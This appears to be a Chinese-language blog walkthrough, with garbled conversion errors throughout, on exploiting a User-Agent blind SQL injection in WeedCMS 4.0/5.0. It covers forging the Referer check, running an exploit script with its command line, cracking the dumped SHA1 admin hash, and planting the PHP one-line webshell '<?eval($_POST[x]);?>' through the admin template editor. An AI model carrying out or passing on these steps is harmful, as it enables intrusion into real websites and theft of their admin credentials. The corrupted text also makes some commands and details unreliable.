野草網站管理系統(WEEDCMS)是由野草獨立基於PHP+MYSQL開發的內容管理系統。面向企業、我的、小門戶等中小規模網站使用而開發的。採用國際上比較流行Smarty引擎和敏捷的JQuery JS框架。php
在tools.net上看到有人公佈了Weedons的USER_AGENT盲窪漏洞,漏洞影響Weedcms的4 0版和最新的WeedCMS v5.O build 20110101版本,下面我就把這個漏洞介紹給你們。html
一.漏洞簡單分析shell
這個漏洞的公佈者是sswowo,sswowo已經進行了比較詳細的分析,這裏直接引用。數據庫
出現漏洞的文件是vote.php,USER_ AGENT直接插入數據庫,沒有通過過濾,致使產生Insert型SQL注入。因爲無錯誤提示,只能進行盲注。代碼就不具體寫下來了,有須要的能夠找我要。框架
咱們能夠看到這個函數沒有對傳人的數據進行任何的過濾,只是簡單的SQL語句生成,最後調用query()執行。函數
首先程序經過GET獲取了action變量,若是ac tio n==ok。則處理投票,而後調用了checkrequest()函數對請求進行驗證,咱們跟進一下這個函數,找到includes/function.php第390行。網站
咱們能夠看到,只對REFERER,進行了簡單的正則匹配,和XjHO ST進行了比對,咱們能夠經過僞造請求R衛FERER便可繞過此驗證。ui
接着程序獲取了vote_id變量,咱們給他傳人一個不存在的ID便可,防止在不一樣的目標環境中致使程序邏輯被中斷,而後咱們看後面在最後插入投票數據時,直接獲取了$_SERVER[’HTTP_USER—AGENT']而且沒有任何過濾,並且$_SERVEFR變量是不受magic_quotes_gpc保護的,因此該漏洞通用性很好,幾乎能夠通殺。最後使用了$db->insert0函數插入到了數據庫,咱們跟一下這個函數看有沒有過濾。找到includes/class_db.php第20-7咱們能夠看到這個函數沒有對傳人的數據進行任何的過濾,只是簡單的SQL語句生成,最後調用query()執行。漏洞分析就簡單引用到這裏,下面來看漏洞利用過程。加密
二.漏洞利用.net
我從網上下載了野草Weedcms最新版本的野革內容管理系統WeedC MS v5.o build 20110101的源代碼,用AppServ在虛擬機裏把程序運行了起來。
USER_AGENT盲注漏洞怎麼利用呢?別急,sswowo已經給出了一個漏洞的利用EXP,把EXP的代碼保存爲weedcmsexp.php備用。因爲EXP是用PHP代碼寫的,所以須要用php.exe進行解析。有的朋友可能不知道php.exe在哪裏,安裝了PHP就有了,我搭建php WEB環境用的AppServ裏自帶_r'phpS,我就不用再安裝PHP了,直接使用了。AppServ中php5的安裝目錄爲C:\AppServ\php5,按鍵盤上的WIN+R鍵調出「運行」,輸入cmd後回車就打開了命令提示符,輸入c dVl:JJ換到C盤根目錄下,而後輸入cd C:YAppServ\php5,回車,切換到php.exeF在的目錄。把漏洞利用EXP weedcmsexp.php複製到C:\AppServ\php5目錄下,在命令提示符下輸入php.exeweedcmsexp.php就會看到EXI,怎麼用。後面跟的4個參數分別爲:目標主機端口程序路徑(以/開頭結尾)延時。要對我虛擬機裏搭建的Weedcms進行注入,輸入php.exe weedcmsexp.php127.0.0.1 80」/weed/」」2」,回車後會看到一行行信息滾過。
注入完成後,猜解出的管理員的用戶名爲admin,密碼爲d033 e22ae348aeb5660fc2140aec35850c4da997,密碼是通過shal加密的,在在線破解網站獲得了管理員的用戶名和密碼就該進後臺想辦法拿shell了。Weedcms的後臺登陸文件是網站根目錄下的admin_.php,用獲得的用戶名和密碼順利進入了後臺。
雖然Weedcms 4.0和5.0均可以注入,但我只會在進入Weedcms 5.0的後臺後才能得到shell,對於4.O版本的We edcms在後臺沒找到拿shell的方法,也許我太菜了,有知道怎麼拿shell的歡迎和我交流。Weedcms 5.0後臺拿shell的方法我是學的心靈公佈的野草weedcms 5.0寫馬漏洞的方法。具體利用方法爲在Weedcms的網站地址後面加上以下代碼:admin.php?action=config&do=te mplate_edit&file=part__ vote.html,訪問後打開的頁面。
是編輯模板文件的頁面,在文件頭插入<?eval($一POST[x]);?>,提交後訪問一下網站首頁,php-句話木馬就寫到temps/compile/目錄下的part_vote.html.php文件中了,用lanker-句話PHP後門客戶端3.O內部版鏈接得到shell。
雖然Weedcms不是很大衆,但這個漏洞仍然有值得你們留意的地方,好比USER AGENT盲注的方法,若是有能力的能夠借鑑下漏洞利用EXP的代碼,相信你會有所收穫。